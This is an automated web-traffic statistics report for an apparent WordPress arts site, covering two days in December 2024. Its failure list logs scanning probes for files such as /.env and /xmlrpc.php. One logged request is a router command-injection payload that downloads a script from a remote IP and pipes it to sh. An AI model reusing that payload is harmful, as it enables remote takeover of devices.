Program started at Sun-22-Dec-2024 00:08.
Analysed requests from Fri-20-Dec-2024 00:03 to Sun-22-Dec-2024 00:00 (2.00 days).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report contains overall statistics.
Successful requests: 3,398
Average successful requests per day: 1,700
Successful requests for pages: 612
Average successful requests for pages per day: 305
Failed requests: 8,402
Redirected requests: 963
Distinct files requested: 631
Distinct hosts served: 702
Corrupt logfile lines: 2
Data transferred: 828.81 megabytes
Average data transferred per day: 414.84 megabytes
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the activity in each month.
Each unit () represents 15 requests for pages or part thereof.
month | reqs | pages | |
---|---|---|---|
Dec 2024 | 3398 | 612 |
Busiest month: Dec 2024 (612 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the activity in each week.
Each unit () represents 15 requests for pages or part thereof.
week beg. | reqs | pages | |
---|---|---|---|
15/Dec/24 | 3398 | 612 |
Busiest week: week beginning 15/Dec/24 (612 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the activity in each day.
Each unit () represents 8 requests for pages or part thereof.
date | reqs | pages | |
---|---|---|---|
20/Dec/24 | 1802 | 297 | |
21/Dec/24 | 1596 | 315 |
Busiest day: 21/Dec/24 (315 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the total activity for each day of the week, summed over all the weeks in the report.
Each unit () represents 8 requests for pages or part thereof.
day | reqs | pages | |
---|---|---|---|
Sun | 0 | 0 | |
Mon | 0 | 0 | |
Tue | 0 | 0 | |
Wed | 0 | 0 | |
Thu | 0 | 0 | |
Fri | 1802 | 297 | |
Sat | 1596 | 315 |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the total activity for each hour of the day, summed over all the days in the report.
Each unit () represents 2 requests for pages or part thereof.
hour | reqs | pages | |
---|---|---|---|
0 | 68 | 18 | |
1 | 196 | 30 | |
2 | 122 | 32 | |
3 | 177 | 26 | |
4 | 75 | 10 | |
5 | 61 | 20 | |
6 | 145 | 20 | |
7 | 146 | 25 | |
8 | 189 | 18 | |
9 | 143 | 27 | |
10 | 217 | 47 | |
11 | 296 | 43 | |
12 | 169 | 41 | |
13 | 144 | 23 | |
14 | 144 | 29 | |
15 | 348 | 33 | |
16 | 72 | 20 | |
17 | 121 | 18 | |
18 | 179 | 18 | |
19 | 97 | 24 | |
20 | 65 | 25 | |
21 | 98 | 25 | |
22 | 46 | 19 | |
23 | 80 | 21 |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the countries of the computers which requested files.
Listing domains, sorted by the amount of traffic.
reqs | %bytes | domain |
---|---|---|
842 | 28.93% | [unresolved numerical addresses] |
566 | 20.05% | .net (Networks) |
1010 | 12.31% | .com (Commercial) |
280 | 10.16% | .de (Germany) |
117 | 10.00% | .ar (Argentina) |
122 | 6.55% | .br (Brazil) |
88 | 3.99% | .it (Italy) |
52 | 2.51% | .nl (Netherlands) |
74 | 2.06% | .fr (France) |
47 | 0.93% | .jp (Japan) |
21 | 0.42% | .ec (Ecuador) |
22 | 0.41% | .ru (Russia) |
18 | 0.39% | .ca (Canada) |
23 | 0.34% | .cz (Czech Republic) |
21 | 0.29% | .ge (Georgia) |
21 | 0.27% | .be (Belgium) |
15 | 0.20% | .co (Colombia) |
23 | 0.06% | [unknown domain] |
16 | 0.05% | .org (Non Profit Making Organisations) |
1 | 0.03% | .at (Austria) |
5 | 0.01% | .pl (Poland) |
1 | 0.01% | .mx (Mexico) |
1 | 0.01% | .cn (China) |
1 | 0.01% | .uz (Uzbekistan) |
1 | 0.01% | .mk (Macedonia (Former Yugoslav Republic)) |
4 | .in (India) | |
2 | .pt (Portugal) | |
1 | .vn (Vietnam) | |
1 | .es (Spain) | |
1 | .sk (Slovakia) | |
1 | .bg (Bulgaria) |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the organisations of the computers which requested files.
Listing the top 20 organisations by the number of requests, sorted by the number of requests.
reqs | %bytes | organisation |
---|---|---|
254 | 2.52% | amazonaws.com |
244 | 6.72% | googlebot.com |
214 | 0.16% | soundwalkcollective.com |
130 | 6.75% | t-ipconnect.de |
117 | 14.26% | 12 |
115 | 4.96% | proxad.net |
85 | 0.54% | 216.244 |
74 | 2.06% | wanadoo.fr |
72 | 5.63% | vivozap.com.br |
71 | 9.67% | techtelnet.net |
69 | 0.65% | googlezip.net |
64 | 1.79% | telefonica.de |
53 | 3.39% | wind.it |
50 | 0.13% | 45 |
49 | 0.95% | kabel-deutschland.de |
48 | 0.02% | bvserver.net |
41 | 0.50% | turnitin.com |
40 | 0.39% | googleusercontent.com |
40 | 5.71% | fibertel.com.ar |
39 | 3.69% | 194.94 |
1529 | 29.51% | [not listed: 223 organisations] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the computers which requested files.
Listing the top 50 hosts by the number of requests, sorted alphabetically.
reqs | %bytes | host |
---|---|---|
117 | 14.26% | 12.186.22.56 |
18 | 0.39% | 31.56.240.146 |
23 | 0.47% | 79.140.150.250 |
18 | 0.39% | 80.214.215.220 |
26 | 0.47% | 92.250.96.62 |
19 | 0.27% | 178.64.45.5 |
19 | 0.39% | 179.6.7.90 |
39 | 3.69% | 194.94.134.90 |
30 | 1.26% | 201.221.176.35 |
85 | 0.54% | 216.244.66.240 |
40 | 5.71% | 77-181-170-181.fibertel.com.ar |
37 | 2.94% | mail.acumar.gob.ar |
31 | 1.27% | host190.181-87-127.telecom.net.ar |
19 | 0.26% | d54c240df.access.telenet.be |
19 | 0.39% | 177-223-37-203.linqtelecom.com.br |
21 | 0.42% | b3d12ff4.virtua.com.br |
70 | 5.62% | 179-228-128-86.user.vivozap.com.br |
18 | 0.39% | modemcable200.125-58-74.mc.videotron.ca |
35 | 0.76% | ec2-3-229-248-49.compute-1.amazonaws.com |
30 | 0.39% | ec2-18-117-125-233.us-east-2.compute.amazonaws.com |
148 | 2.91% | crawl-66-249-70-137.googlebot.com |
68 | 3.52% | crawl-66-249-70-138.googlebot.com |
28 | 0.28% | crawl-66-249-70-139.googlebot.com |
28 | 0.31% | client-104-168-136-112.hostwindsdns.com |
214 | 0.16% | soundwalkcollective.com |
41 | 0.50% | crawler.turnitin.com |
23 | 0.34% | fulltextrobot-77-75-77-62.seznam.cz |
49 | 0.95% | ip5f5ae89b.dynamic.kabel-deutschland.de |
40 | 5.61% | p54876a6f.dip0.t-ipconnect.de |
88 | 1.14% | p54b8e454.dip0.t-ipconnect.de |
30 | 0.88% | dynamic-176-000-004-065.176.0.pool.telefonica.de |
28 | 0.83% | dynamic-176-000-181-055.176.0.pool.telefonica.de |
21 | 0.59% | dslb-002-207-017-059.002.207.pools.vodafone-ip.de |
21 | 0.42% | cgnathfc-191-99-59-74.customer.claro.com.ec |
22 | 0.44% | lfbn-idf3-1-5-183.w81-249.abo.wanadoo.fr |
21 | 1.07% | lfbn-bor-1-522-103.w86-213.abo.wanadoo.fr |
28 | 0.55% | atoulouse-653-1-442-200.w92-134.abo.wanadoo.fr |
19 | 0.29% | 94-43-209-28.dsl.utg.ge |
18 | 0.39% | host-95-231-217-94.business.telecomitalia.it |
53 | 3.39% | adsl-ull-48-175.45-151.wind.it |
20 | 0.42% | pw126186061117.7.panda-world.ne.jp |
37 | 1.70% | 47-60-39-176.red-acceso.airtel.net |
19 | 0.18% | bzq-79-177-134-101.red.bezeqint.net |
19 | 0.39% | 1-163-78-82.dynamic-ip.hinet.net |
27 | 0.49% | 86-83-204-169.fixed.kpn.net |
115 | 4.96% | 88-120-132-197.subs.proxad.net |
71 | 9.67% | 200-80-186-223.static.techtelnet.net |
21 | 0.42% | ppp-185-159-162-41.wildpark.net |
35 | 2.28% | 77-250-222-50.cable.dynamic.v4.ziggo.nl |
18 | 0.39% | 25.153.c10008-a77.dsl-dynamic.vsi.ru |
1314 | 14.27% | [not listed: 652 hosts] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the referrers (where people followed links from, or pages which included this site's images).
Listing referring URLs with at least 20 requests, sorted by the number of requests.
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the directories from which files were requested. (The figures for each directory include all of its subdirectories.)
Listing directories with at least 0.01% of the traffic, sorted by the amount of traffic.
reqs | %bytes | directory |
---|---|---|
1446 | 89.31% | /wp-content/ |
1201 | 4.41% | [root directory] |
446 | 3.06% | /wp-includes/ |
187 | 2.31% | /project/ |
93 | 0.53% | /wp-json/ |
9 | 0.34% | /swc/ |
4 | 0.03% | /category/ |
12 | 0.01% | [not listed: 5 directories] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the files that caused failures, for example files not found.
Listing the top 30 files by the number of failed requests, sorted by the number of failed requests.
reqs | file |
---|---|
3526 | /favicon.ico |
1506 | /blog/jacob-kirkegaard-editions-issue-4/ |
715 | / |
158 | /xmlrpc.php |
111 | /robots.txt |
94 | /x16/x03/x01 |
77 | /forum/1reva.php |
50 | /.env |
48 | /WALKS/bronxgraffiti/BRONX_GRAFFITI_map.pdf |
47 | /apple-touch-icon.png |
46 | /apple-touch-icon-precomposed.png |
44 | /podcast_bryantpark/broderick_bg.jpg |
42 | /login.rsp |
41 | /x16/x03/x01/x05/xa8/x01 |
35 | /podcast_bryantpark/podcast.xml |
34 | /blog/ |
32 | /cgi-bin/luci/ |
17 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+http://103.149.87.69/t+-O-+|+sh`) |
26 | /x03 |
24 | /index.php |
23 | /.well-known/traffic-advice |
22 | /x16/x03/x02/x01o/x01 |
21 | /old |
21 | /bc |
21 | /bk |
21 | /backup |
21 | /new |
21 | /wordpress |
21 | /main |
21 | /wp |
20 | /wp-login.php |
1502 | [not listed: 739 files] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the files on the site.
Listing files with at least 20 requests, sorted by the number of requests.
reqs | %bytes | last time | file |
---|---|---|---|
594 | 3.10% | 21/Dec/24 23:57 | / |
11 | 21/Dec/24 15:46 | /?C=M;O=A | |
204 | 0.10% | 21/Dec/24 23:57 | /wp-cron.php |
199 | 0.21% | 21/Dec/24 23:42 | /wp-login.php |
77 | 0.02% | 21/Dec/24 23:39 | /robots.txt |
75 | 0.17% | 21/Dec/24 22:25 | /wp-content/uploads/2024/06/Screenshot-2024-06-18-at-19.39.42.png |
72 | 5.33% | 21/Dec/24 19:39 | /wp-content/themes/semplice6/assets/js/shared.scripts.min.js |
72 | 5.33% | 21/Dec/24 19:39 | /wp-content/themes/semplice6/assets/js/shared.scripts.min.js?ver=6.2.5 |
71 | 1.26% | 21/Dec/24 19:39 | /wp-includes/js/mediaelement/mediaelement-and-player.min.js |
71 | 1.26% | 21/Dec/24 19:39 | /wp-includes/js/mediaelement/mediaelement-and-player.min.js?ver=4.2.17 |
69 | 2.19% | 21/Dec/24 20:42 | /wp-content/themes/semplice6/assets/css/frontend.min.css |
69 | 2.19% | 21/Dec/24 20:42 | /wp-content/themes/semplice6/assets/css/frontend.min.css?ver=6.2.5 |
69 | 0.01% | 21/Dec/24 20:46 | /wp-content/themes/semplice6/style.css |
69 | 0.01% | 21/Dec/24 20:46 | /wp-content/themes/semplice6/style.css?ver=6.2.5 |
69 | 0.55% | 21/Dec/24 19:39 | /wp-content/themes/semplice6/assets/js/frontend.min.js |
69 | 0.55% | 21/Dec/24 19:39 | /wp-content/themes/semplice6/assets/js/frontend.min.js?ver=6.2.5 |
69 | 0.11% | 21/Dec/24 19:39 | /wp-includes/js/jquery/jquery-migrate.min.js |
69 | 0.11% | 21/Dec/24 19:39 | /wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1 |
68 | 0.01% | 21/Dec/24 19:39 | /wp-includes/js/mediaelement/mediaelement-migrate.min.js |
68 | 0.01% | 21/Dec/24 19:39 | /wp-includes/js/mediaelement/mediaelement-migrate.min.js?ver=6.7.1 |
68 | 0.68% | 21/Dec/24 19:39 | /wp-includes/js/jquery/jquery.min.js |
68 | 0.68% | 21/Dec/24 19:39 | /wp-includes/js/jquery/jquery.min.js?ver=3.7.1 |
66 | 0.64% | 21/Dec/24 19:39 | /wp-content/uploads/2023/01/StudioPro-Normale.otf |
66 | 0.51% | 21/Dec/24 19:39 | /wp-content/themes/semplice6/assets/js/frontend.scripts.min.js |
66 | 0.51% | 21/Dec/24 19:39 | /wp-content/themes/semplice6/assets/js/frontend.scripts.min.js?ver=6.2.5 |
66 | 0.86% | 21/Dec/24 20:42 | /wp-includes/css/dist/block-library/style.min.css |
66 | 0.86% | 21/Dec/24 20:42 | /wp-includes/css/dist/block-library/style.min.css?ver=6.7.1 |
66 | 0.09% | 21/Dec/24 20:42 | /wp-includes/js/mediaelement/mediaelementplayer-legacy.min.css |
66 | 0.09% | 21/Dec/24 20:42 | /wp-includes/js/mediaelement/mediaelementplayer-legacy.min.css?ver=4.2.17 |
63 | 0.70% | 21/Dec/24 19:39 | /wp-content/uploads/2023/01/StudioPro-SemiBold.otf |
51 | 0.78% | 21/Dec/24 19:39 | /wp-content/uploads/2023/01/WalbaumBookProIta.otf |
48 | 0.02% | 21/Dec/24 23:48 | /wp-load.php |
44 | 21/Dec/24 20:42 | /wp-content/uploads/2023/01/3_Crox.svg | |
40 | 5.96% | 21/Dec/24 21:23 | /wp-content/uploads/2024/10/Screenshot-2024-10-03-at-12.55.05.png |
38 | 0.01% | 21/Dec/24 13:13 | /wp-json/oembed/1.0/embed |
36 | 14.73% | 21/Dec/24 11:20 | /wp-content/uploads/2023/02/Expert_Iguanatokyo-1.mp4 |
33 | 21.78% | 21/Dec/24 16:17 | /wp-content/uploads/2023/01/All-the-Beauty-and-the-Bloodshed-Official-Trailer.mp4 |
29 | 0.44% | 21/Dec/24 19:39 | /wp-content/uploads/2023/01/WalbaumBookProReg.otf |
29 | 0.70% | 21/Dec/24 19:39 | /wp-content/themes/semplice6/assets/fonts/inter.woff2 |
26 | 0.35% | 21/Dec/24 19:39 | /project/evidence-with-patti-smith |
21 | 2.36% | 21/Dec/24 19:39 | /wp-content/uploads/2024/07/Screenshot-2024-07-21-at-16.21.06.png |
972 | 36.33% | 21/Dec/24 23:59 | [not listed: 211 files] |